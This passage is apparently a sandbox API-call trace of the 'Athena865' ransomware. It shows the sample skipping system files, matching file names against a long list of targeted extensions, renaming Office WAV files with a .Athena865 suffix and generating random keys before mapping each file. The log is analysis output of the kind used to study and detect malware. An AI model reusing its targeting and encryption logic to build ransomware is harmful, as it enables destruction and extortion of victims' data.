lpString2="ids.txt") returned -1 [0152.693] lstrcmpiW (lpString1="ARROW.WAV", lpString2="ntuser.dat") returned -1 [0152.693] lstrcmpiW (lpString1="ARROW.WAV", lpString2="perflogs") returned -1 [0152.693] lstrcmpiW (lpString1="ARROW.WAV", lpString2="MSBuild") returned -1 [0152.693] lstrlenW (lpString="ARROW.WAV") returned 9 [0152.693] lstrcpyW (in: lpString1=0x241e8aa, lpString2="ARROW.WAV" | out: lpString1="ARROW.WAV") returned="ARROW.WAV" [0152.694] lstrlenW (lpString="ARROW.WAV") returned 9 [0152.694] lstrlenW (lpString="Athena865") returned 9 [0152.694] lstrlenW (lpString=".dll") returned 4 [0152.694] lstrcmpiW (lpString1="ARROW.WAV", lpString2=".dll") returned 1 [0152.694] lstrlenW (lpString=".lnk") returned 4 [0152.694] lstrcmpiW (lpString1="ARROW.WAV", lpString2=".lnk") returned 1 [0152.694] lstrlenW (lpString=".ini") returned 4 [0152.694] lstrcmpiW (lpString1="ARROW.WAV", lpString2=".ini") returned 1 [0152.694] lstrlenW (lpString=".sys") returned 4 [0152.694] lstrcmpiW (lpString1="ARROW.WAV", lpString2=".sys") returned 1 [0152.694] lstrlenW (lpString="ARROW.WAV") returned 9 [0152.694] lstrlenW (lpString="bak") returned 3 [0152.694] lstrcmpiW (lpString1="WAV", lpString2="bak") returned 1 [0152.694] lstrlenW (lpString="ba_") returned 3 [0152.694] lstrcmpiW (lpString1="WAV", lpString2="ba_") returned 1 [0152.694] lstrlenW (lpString="dbb") returned 3 [0152.694] lstrcmpiW (lpString1="WAV", lpString2="dbb") returned 1 [0152.694] lstrlenW (lpString="vmdk") returned 4 [0152.694] lstrcmpiW (lpString1=".WAV", lpString2="vmdk") returned -1 [0152.694] lstrlenW (lpString="rar") returned 3 [0152.694] lstrcmpiW (lpString1="WAV", lpString2="rar") returned 1 [0152.694] lstrlenW (lpString="zip") returned 3 [0152.694] lstrcmpiW (lpString1="WAV", lpString2="zip") returned -1 [0152.694] lstrlenW (lpString="tgz") returned 3 [0152.694] lstrcmpiW (lpString1="WAV", lpString2="tgz") returned 1 [0152.694] lstrlenW (lpString="vbox") returned 4 [0152.694] lstrcmpiW (lpString1=".WAV", lpString2="vbox") returned -1 [0152.695] lstrlenW (lpString="vdi") returned 3 [0152.695] lstrcmpiW (lpString1="WAV", lpString2="vdi") returned 1 [0152.695] lstrlenW (lpString="vhd") returned 3 [0152.695] lstrcmpiW (lpString1="WAV", lpString2="vhd") returned 1 [0152.695] lstrlenW (lpString="vhdx") returned 4 [0152.695] lstrcmpiW (lpString1=".WAV", lpString2="vhdx") returned -1 [0152.695] lstrlenW (lpString="avhd") returned 4 [0152.695] lstrcmpiW (lpString1=".WAV", lpString2="avhd") returned -1 [0152.695] lstrlenW (lpString="db") returned 2 [0152.695] lstrcmpiW (lpString1="AV", lpString2="db") returned -1 [0152.695] lstrlenW (lpString="db2") returned 3 [0152.695] lstrcmpiW (lpString1="WAV", lpString2="db2") returned 1 [0152.695] lstrlenW (lpString="db3") returned 3 [0152.695] lstrcmpiW (lpString1="WAV", lpString2="db3") returned 1 [0152.695] lstrlenW (lpString="dbf") returned 3 [0152.695] lstrcmpiW (lpString1="WAV", lpString2="dbf") returned 1 [0152.695] lstrlenW (lpString="mdf") returned 3 [0152.695] lstrcmpiW (lpString1="WAV", lpString2="mdf") returned 1 [0152.695] lstrlenW (lpString="mdb") returned 3 [0152.695] lstrcmpiW (lpString1="WAV", lpString2="mdb") returned 1 [0152.695] lstrlenW (lpString="sql") returned 3 [0152.695] lstrcmpiW (lpString1="WAV", lpString2="sql") returned 1 [0152.695] lstrlenW (lpString="sqlite") returned 6 [0152.695] lstrcmpiW (lpString1="OW.WAV", lpString2="sqlite") returned -1 [0152.695] lstrlenW (lpString="sqlite3") returned 7 [0152.695] lstrcmpiW (lpString1="ROW.WAV", lpString2="sqlite3") returned -1 [0152.695] lstrlenW (lpString="sqlitedb") returned 8 [0152.695] lstrcmpiW (lpString1="RROW.WAV", lpString2="sqlitedb") returned -1 [0152.696] lstrlenW (lpString="xml") returned 3 [0152.696] lstrcmpiW (lpString1="WAV", lpString2="xml") returned -1 [0152.696] lstrlenW (lpString="$er") returned 3 [0152.696] lstrcmpiW (lpString1="WAV", lpString2="$er") returned 1 [0152.696] lstrlenW (lpString="4dd") returned 3 [0152.696] lstrcmpiW (lpString1="WAV", lpString2="4dd") returned 1 [0152.696] lstrlenW (lpString="4dl") returned 3 [0152.696] lstrcmpiW (lpString1="WAV", lpString2="4dl") returned 1 [0152.696] lstrlenW (lpString="^^^") returned 3 [0152.696] lstrcmpiW (lpString1="WAV", lpString2="^^^") returned 1 [0152.696] lstrlenW (lpString="abs") returned 3 [0152.696] lstrcmpiW (lpString1="WAV", lpString2="abs") returned 1 [0152.696] lstrlenW (lpString="abx") returned 3 [0152.696] lstrcmpiW (lpString1="WAV", lpString2="abx") returned 1 [0152.696] lstrlenW (lpString="accdb") returned 5 [0152.696] lstrcmpiW (lpString1="W.WAV", lpString2="accdb") returned 1 [0152.696] lstrlenW (lpString="accdc") returned 5 [0152.696] lstrcmpiW (lpString1="W.WAV", lpString2="accdc") returned 1 [0152.696] lstrlenW (lpString="accde") returned 5 [0152.696] lstrcmpiW (lpString1="W.WAV", lpString2="accde") returned 1 [0152.696] lstrlenW (lpString="accdr") returned 5 [0152.696] lstrcmpiW (lpString1="W.WAV", lpString2="accdr") returned 1 [0152.696] lstrlenW (lpString="accdt") returned 5 [0152.696] lstrcmpiW (lpString1="W.WAV", lpString2="accdt") returned 1 [0152.696] lstrlenW (lpString="accdw") returned 5 [0152.696] lstrcmpiW (lpString1="W.WAV", lpString2="accdw") returned 1 [0152.696] lstrlenW (lpString="accft") returned 5 [0152.696] lstrcmpiW (lpString1="W.WAV", lpString2="accft") returned 1 [0152.697] lstrlenW (lpString="adb") returned 3 [0152.697] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.697] lstrlenW (lpString="adb") returned 3 [0152.697] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.697] lstrlenW (lpString="ade") returned 3 [0152.697] lstrcmpiW (lpString1="WAV", lpString2="ade") returned 1 [0152.697] lstrlenW (lpString="adf") returned 3 [0152.697] lstrcmpiW (lpString1="WAV", lpString2="adf") returned 1 [0152.697] lstrlenW (lpString="adn") returned 3 [0152.697] lstrcmpiW (lpString1="WAV", lpString2="adn") returned 1 [0152.697] lstrlenW (lpString="adp") returned 3 [0152.697] lstrcmpiW (lpString1="WAV", lpString2="adp") returned 1 [0152.697] lstrlenW (lpString="alf") returned 3 [0152.697] lstrcmpiW (lpString1="WAV", lpString2="alf") returned 1 [0152.697] lstrlenW (lpString="ask") returned 3 [0152.697] lstrcmpiW (lpString1="WAV", lpString2="ask") returned 1 [0152.697] lstrlenW (lpString="btr") returned 3 [0152.697] lstrcmpiW (lpString1="WAV", lpString2="btr") returned 1 [0152.697] lstrlenW (lpString="cat") returned 3 [0152.697] lstrcmpiW (lpString1="WAV", lpString2="cat") returned 1 [0152.697] lstrlenW (lpString="cdb") returned 3 [0152.697] lstrcmpiW (lpString1="WAV", lpString2="cdb") returned 1 [0152.697] lstrlenW (lpString="ckp") returned 3 [0152.697] lstrcmpiW (lpString1="WAV", lpString2="ckp") returned 1 [0152.697] lstrlenW (lpString="cma") returned 3 [0152.697] lstrcmpiW (lpString1="WAV", lpString2="cma") returned 1 [0152.697] lstrlenW (lpString="cpd") returned 3 [0152.697] lstrcmpiW (lpString1="WAV", lpString2="cpd") returned 1 [0152.697] lstrlenW (lpString="dacpac") returned 6 [0152.698] lstrcmpiW (lpString1="OW.WAV", lpString2="dacpac") returned 1 [0152.698] lstrlenW (lpString="dad") returned 3 [0152.698] lstrcmpiW (lpString1="WAV", lpString2="dad") returned 1 [0152.698] lstrlenW (lpString="dadiagrams") returned 10 [0152.698] lstrlenW (lpString="daschema") returned 8 [0152.698] lstrcmpiW (lpString1="RROW.WAV", lpString2="daschema") returned 1 [0152.698] lstrlenW (lpString="db-journal") returned 10 [0152.698] lstrlenW (lpString="db-shm") returned 6 [0152.698] lstrcmpiW (lpString1="OW.WAV", lpString2="db-shm") returned 1 [0152.698] lstrlenW (lpString="db-wal") returned 6 [0152.698] lstrcmpiW (lpString1="OW.WAV", lpString2="db-wal") returned 1 [0152.698] lstrlenW (lpString="dbc") returned 3 [0152.698] lstrcmpiW (lpString1="WAV", lpString2="dbc") returned 1 [0152.698] lstrlenW (lpString="dbs") returned 3 [0152.698] lstrcmpiW (lpString1="WAV", lpString2="dbs") returned 1 [0152.698] lstrlenW (lpString="dbt") returned 3 [0152.698] lstrcmpiW (lpString1="WAV", lpString2="dbt") returned 1 [0152.698] lstrlenW (lpString="dbv") returned 3 [0152.698] lstrcmpiW (lpString1="WAV", lpString2="dbv") returned 1 [0152.698] lstrlenW (lpString="dbx") returned 3 [0152.698] lstrcmpiW (lpString1="WAV", lpString2="dbx") returned 1 [0152.698] lstrlenW (lpString="dcb") returned 3 [0152.698] lstrcmpiW (lpString1="WAV", lpString2="dcb") returned 1 [0152.698] lstrcmpiW (lpString1="WAV", lpString2="dct") returned 1 [0152.699] lstrcmpiW (lpString1="WAV", lpString2="dcx") returned 1 [0152.699] lstrcmpiW (lpString1="WAV", lpString2="ddl") returned 1 [0152.699] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV.Athena865") returned 68 [0152.699] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\arrow.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\arrow.wav.athena865"), dwFlags=0x1) returned 1 [0152.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\arrow.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.701] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23030) returned 1 [0152.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.701] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.702] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.702] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.702] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5d00, lpName=0x0) returned 0x154 [0152.705] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5d00) returned 0x100000 [0152.707] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.708] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.708] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0152.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0152.708] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.709] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.709] CloseHandle (hObject=0x154) returned 1 [0152.709] CloseHandle (hObject=0x17c) returned 1 [0152.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.709] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.709] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90776900, ftCreationTime.dwHighDateTime=0x1bfbeeb, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90776900, ftLastWriteTime.dwHighDateTime=0x1bfbeeb, nFileSizeHigh=0x0, nFileSizeLow=0x2f676, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOMB.WAV", cAlternateFileName="")) returned 1 [0152.709] lstrcmpiW (lpString1="BOMB.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.709] lstrcmpiW (lpString1="BOMB.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.709] lstrcmpiW (lpString1="BOMB.WAV", lpString2=".") returned 1 [0152.709] lstrcmpiW (lpString1="BOMB.WAV", lpString2="..") returned 1 [0152.709] lstrcmpiW (lpString1="BOMB.WAV", lpString2="windows") returned -1 [0152.709] lstrcmpiW (lpString1="BOMB.WAV", lpString2="bootmgr") returned -1 [0152.710] lstrcmpiW (lpString1="BOMB.WAV", lpString2="temp") returned -1 [0152.710] lstrcmpiW (lpString1="BOMB.WAV", lpString2="pagefile.sys") returned -1 [0152.710] lstrcmpiW (lpString1="BOMB.WAV", lpString2="boot") returned -1 [0152.710] lstrcmpiW (lpString1="BOMB.WAV", lpString2="ids.txt") returned -1 [0152.710] lstrcmpiW (lpString1="BOMB.WAV", lpString2="ntuser.dat") returned -1 [0152.710] lstrcmpiW (lpString1="BOMB.WAV", lpString2="perflogs") returned -1 [0152.710] lstrcmpiW (lpString1="BOMB.WAV", lpString2="MSBuild") returned -1 [0152.710] lstrlenW (lpString="BOMB.WAV") returned 8 [0152.710] lstrcpyW (in: lpString1=0x241e8aa, lpString2="BOMB.WAV" | out: lpString1="BOMB.WAV") returned="BOMB.WAV" [0152.710] lstrlenW (lpString="BOMB.WAV") returned 8 [0152.710] lstrlenW (lpString="Athena865") returned 9 [0152.710] lstrlenW (lpString=".dll") returned 4 [0152.710] lstrcmpiW (lpString1="BOMB.WAV", lpString2=".dll") returned 1 [0152.710] lstrlenW (lpString=".lnk") returned 4 [0152.710] lstrcmpiW (lpString1="BOMB.WAV", lpString2=".lnk") returned 1 [0152.710] lstrlenW (lpString=".ini") returned 4 [0152.710] lstrcmpiW (lpString1="BOMB.WAV", lpString2=".ini") returned 1 [0152.710] lstrlenW (lpString=".sys") returned 4 [0152.710] lstrcmpiW (lpString1="BOMB.WAV", lpString2=".sys") returned 1 [0152.710] lstrlenW (lpString="BOMB.WAV") returned 8 [0152.711] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV.Athena865") returned 67 [0152.711] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\bomb.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\bomb.wav.athena865"), dwFlags=0x1) returned 1 [0152.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\bomb.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.712] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=194166) returned 1 [0152.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.713] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.713] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.714] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.714] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f980, lpName=0x0) returned 0x154 [0152.716] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2f980) returned 0x170000 [0152.735] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.736] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.736] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.737] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0152.739] CloseHandle (hObject=0x154) returned 1 [0152.739] CloseHandle (hObject=0x17c) returned 1 [0152.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.739] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.740] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106db200, ftCreationTime.dwHighDateTime=0x1bfc6e8, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x106db200, ftLastWriteTime.dwHighDateTime=0x1bfc6e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BREEZE.WAV", cAlternateFileName="")) returned 1 [0152.740] lstrcmpiW (lpString1="BREEZE.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.740] lstrcmpiW (lpString1="BREEZE.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.740] lstrcmpiW (lpString1="BREEZE.WAV", lpString2=".") returned 1 [0152.740] lstrcmpiW (lpString1="BREEZE.WAV", lpString2="..") returned 1 [0152.740] lstrcmpiW (lpString1="BREEZE.WAV", lpString2="windows") returned -1 [0152.740] lstrcmpiW (lpString1="BREEZE.WAV", lpString2="bootmgr") returned 1 [0152.740] lstrcmpiW (lpString1="BREEZE.WAV", lpString2="temp") returned -1 [0152.740] lstrcmpiW (lpString1="BREEZE.WAV", lpString2="pagefile.sys") returned -1 [0152.740] lstrcmpiW (lpString1="BREEZE.WAV", lpString2="boot") returned 1 [0152.740] lstrcmpiW (lpString1="BREEZE.WAV", lpString2="ids.txt") returned -1 [0152.740] lstrcmpiW (lpString1="BREEZE.WAV", lpString2="ntuser.dat") returned -1 [0152.740] lstrcmpiW (lpString1="BREEZE.WAV", lpString2="perflogs") returned -1 [0152.740] lstrcmpiW (lpString1="BREEZE.WAV", lpString2="MSBuild") returned -1 [0152.740] lstrlenW (lpString="BREEZE.WAV") returned 10 [0152.740] lstrcpyW (in: lpString1=0x241e8aa, lpString2="BREEZE.WAV" | out: lpString1="BREEZE.WAV") returned="BREEZE.WAV" [0152.740] lstrlenW (lpString="BREEZE.WAV") returned 10 [0152.740] lstrlenW (lpString="Athena865") returned 9 [0152.740] lstrcmpiW (lpString1="REEZE.WAV", lpString2="Athena865") returned 1 [0152.740] lstrlenW (lpString=".dll") returned 4 [0152.740] lstrcmpiW (lpString1="BREEZE.WAV", lpString2=".dll") returned 1 [0152.740] lstrlenW (lpString=".lnk") returned 4 [0152.740] lstrcmpiW (lpString1="BREEZE.WAV", lpString2=".lnk") returned 1 [0152.741] lstrlenW (lpString=".ini") returned 4 [0152.741] lstrcmpiW (lpString1="BREEZE.WAV", lpString2=".ini") returned 1 [0152.741] lstrlenW (lpString=".sys") returned 4 [0152.741] lstrcmpiW (lpString1="BREEZE.WAV", lpString2=".sys") returned 1 [0152.741] lstrlenW (lpString="BREEZE.WAV") returned 10 [0152.741] lstrlenW (lpString="bak") returned 3 [0152.741] lstrcmpiW (lpString1="WAV", lpString2="bak") returned 1 [0152.741] lstrlenW (lpString="ba_") returned 3 [0152.741] lstrcmpiW (lpString1="WAV", lpString2="ba_") returned 1 [0152.741] lstrlenW (lpString="dbb") returned 3 [0152.741] lstrcmpiW (lpString1="WAV", lpString2="dbb") returned 1 [0152.741] lstrlenW (lpString="vmdk") returned 4 [0152.741] lstrcmpiW (lpString1=".WAV", lpString2="vmdk") returned -1 [0152.741] lstrlenW (lpString="rar") returned 3 [0152.741] lstrcmpiW (lpString1="WAV", lpString2="rar") returned 1 [0152.741] lstrlenW (lpString="zip") returned 3 [0152.741] lstrcmpiW (lpString1="WAV", lpString2="zip") returned -1 [0152.741] lstrlenW (lpString="tgz") returned 3 [0152.741] lstrcmpiW (lpString1="WAV", lpString2="tgz") returned 1 [0152.741] lstrlenW (lpString="vbox") returned 4 [0152.741] lstrcmpiW (lpString1=".WAV", lpString2="vbox") returned -1 [0152.741] lstrlenW (lpString="vdi") returned 3 [0152.741] lstrcmpiW (lpString1="WAV", lpString2="vdi") returned 1 [0152.741] lstrlenW (lpString="vhd") returned 3 [0152.741] lstrcmpiW (lpString1="WAV", lpString2="vhd") returned 1 [0152.741] lstrlenW (lpString="vhdx") returned 4 [0152.741] lstrcmpiW (lpString1=".WAV", lpString2="vhdx") returned -1 [0152.742] lstrlenW (lpString="avhd") returned 4 [0152.742] lstrcmpiW (lpString1=".WAV", lpString2="avhd") returned -1 [0152.742] lstrlenW (lpString="db") returned 2 [0152.742] lstrcmpiW (lpString1="AV", lpString2="db") returned -1 [0152.742] lstrlenW (lpString="db2") returned 3 [0152.742] lstrcmpiW (lpString1="WAV", lpString2="db2") returned 1 [0152.742] lstrlenW (lpString="db3") returned 3 [0152.742] lstrcmpiW (lpString1="WAV", lpString2="db3") returned 1 [0152.742] lstrlenW (lpString="dbf") returned 3 [0152.742] lstrcmpiW (lpString1="WAV", lpString2="dbf") returned 1 [0152.742] lstrlenW (lpString="mdf") returned 3 [0152.742] lstrcmpiW (lpString1="WAV", lpString2="mdf") returned 1 [0152.742] lstrlenW (lpString="mdb") returned 3 [0152.742] lstrcmpiW (lpString1="WAV", lpString2="mdb") returned 1 [0152.742] lstrlenW (lpString="sql") returned 3 [0152.742] lstrcmpiW (lpString1="WAV", lpString2="sql") returned 1 [0152.742] lstrlenW (lpString="sqlite") returned 6 [0152.742] lstrcmpiW (lpString1="ZE.WAV", lpString2="sqlite") returned 1 [0152.742] lstrlenW (lpString="sqlite3") returned 7 [0152.742] lstrcmpiW (lpString1="EZE.WAV", lpString2="sqlite3") returned -1 [0152.742] lstrlenW (lpString="sqlitedb") returned 8 [0152.742] lstrcmpiW (lpString1="EEZE.WAV", lpString2="sqlitedb") returned -1 [0152.742] lstrlenW (lpString="xml") returned 3 [0152.742] lstrcmpiW (lpString1="WAV", lpString2="xml") returned -1 [0152.742] lstrlenW (lpString="$er") returned 3 [0152.742] lstrcmpiW (lpString1="WAV", lpString2="$er") returned 1 [0152.742] lstrlenW (lpString="4dd") returned 3 [0152.742] lstrcmpiW (lpString1="WAV", lpString2="4dd") returned 1 [0152.743] lstrlenW (lpString="4dl") returned 3 [0152.743] lstrcmpiW (lpString1="WAV", lpString2="4dl") returned 1 [0152.743] lstrlenW (lpString="^^^") returned 3 [0152.743] lstrcmpiW (lpString1="WAV", lpString2="^^^") returned 1 [0152.743] lstrlenW (lpString="abs") returned 3 [0152.743] lstrcmpiW (lpString1="WAV", lpString2="abs") returned 1 [0152.743] lstrlenW (lpString="abx") returned 3 [0152.743] lstrcmpiW (lpString1="WAV", lpString2="abx") returned 1 [0152.743] lstrlenW (lpString="accdb") returned 5 [0152.743] lstrcmpiW (lpString1="E.WAV", lpString2="accdb") returned 1 [0152.743] lstrlenW (lpString="accdc") returned 5 [0152.743] lstrcmpiW (lpString1="E.WAV", lpString2="accdc") returned 1 [0152.743] lstrlenW (lpString="accde") returned 5 [0152.743] lstrcmpiW (lpString1="E.WAV", lpString2="accde") returned 1 [0152.743] lstrlenW (lpString="accdr") returned 5 [0152.743] lstrcmpiW (lpString1="E.WAV", lpString2="accdr") returned 1 [0152.743] lstrlenW (lpString="accdt") returned 5 [0152.743] lstrcmpiW (lpString1="E.WAV", lpString2="accdt") returned 1 [0152.743] lstrlenW (lpString="accdw") returned 5 [0152.743] lstrcmpiW (lpString1="E.WAV", lpString2="accdw") returned 1 [0152.743] lstrlenW (lpString="accft") returned 5 [0152.743] lstrcmpiW (lpString1="E.WAV", lpString2="accft") returned 1 [0152.743] lstrlenW (lpString="adb") returned 3 [0152.743] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.743] lstrlenW (lpString="adb") returned 3 [0152.743] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.743] lstrlenW (lpString="ade") returned 3 [0152.743] lstrcmpiW (lpString1="WAV", lpString2="ade") returned 1 [0152.744] lstrlenW (lpString="adf") returned 3 [0152.744] lstrcmpiW (lpString1="WAV", lpString2="adf") returned 1 [0152.744] lstrlenW (lpString="adn") returned 3 [0152.744] lstrcmpiW (lpString1="WAV", lpString2="adn") returned 1 [0152.744] lstrlenW (lpString="adp") returned 3 [0152.744] lstrcmpiW (lpString1="WAV", lpString2="adp") returned 1 [0152.744] lstrlenW (lpString="alf") returned 3 [0152.744] lstrcmpiW (lpString1="WAV", lpString2="alf") returned 1 [0152.744] lstrlenW (lpString="ask") returned 3 [0152.744] lstrcmpiW (lpString1="WAV", lpString2="ask") returned 1 [0152.744] lstrlenW (lpString="btr") returned 3 [0152.744] lstrcmpiW (lpString1="WAV", lpString2="btr") returned 1 [0152.744] lstrlenW (lpString="cat") returned 3 [0152.744] lstrcmpiW (lpString1="WAV", lpString2="cat") returned 1 